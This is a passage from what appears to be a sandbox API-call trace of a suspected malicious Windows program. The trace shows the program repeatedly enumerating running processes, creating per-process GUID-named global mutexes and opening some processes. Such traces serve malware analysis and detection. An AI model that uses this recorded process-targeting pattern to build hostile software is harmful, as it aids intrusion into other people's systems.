lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x568 [0119.216] GetLastError () returned 0x0 [0119.216] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0119.216] CloseHandle (hObject=0x568) returned 1 [0119.216] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.217] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0119.217] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x568 [0119.217] GetLastError () returned 0xb7 [0119.217] CloseHandle (hObject=0x568) returned 1 [0119.217] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.218] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0119.218] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x568 [0119.218] GetLastError () returned 0x0 [0119.218] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0119.218] CloseHandle (hObject=0x568) returned 1 [0119.218] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0119.219] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0119.220] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0119.221] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0119.221] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0119.222] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0119.223] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0119.224] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0119.224] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0119.225] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0119.226] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0119.227] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0119.228] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0119.228] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0119.229] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0119.230] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0119.231] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0119.232] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0119.232] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0119.233] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0119.234] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0119.235] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.236] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0119.236] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.237] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.238] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.358] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.359] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.360] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.360] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.361] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.362] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0119.362] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0119.362] GetLastError () returned 0xb7 [0119.362] CloseHandle (hObject=0x568) returned 1 [0119.362] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0119.363] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="certutil.exe")) returned 1 [0119.364] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.365] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0119.365] CloseHandle (hObject=0x6cc) returned 1 [0119.365] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0119.488] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0119.490] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.491] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.492] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.493] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.493] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.494] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.495] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.496] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.497] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.498] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.498] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.499] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.500] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.501] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.502] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.503] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.504] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.504] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.505] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.506] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.507] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.508] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0119.508] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0119.508] GetLastError () returned 0xb7 [0119.508] CloseHandle (hObject=0x6cc) returned 1 [0119.508] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.510] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0119.511] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0119.511] GetLastError () returned 0xb7 [0119.511] CloseHandle (hObject=0x6cc) returned 1 [0119.511] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.514] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.517] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0119.517] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0119.517] GetLastError () returned 0x0 [0119.517] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0119.518] CloseHandle (hObject=0x6cc) returned 1 [0119.518] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.519] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0119.519] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0119.519] GetLastError () returned 0x0 [0119.519] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0119.519] CloseHandle (hObject=0x6cc) returned 1 [0119.519] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.522] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0119.522] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0119.522] GetLastError () returned 0xb7 [0119.522] CloseHandle (hObject=0x6cc) returned 1 [0119.522] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.523] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0119.523] CreateMutexW (lpMutexAttributes=0x2c72b60, 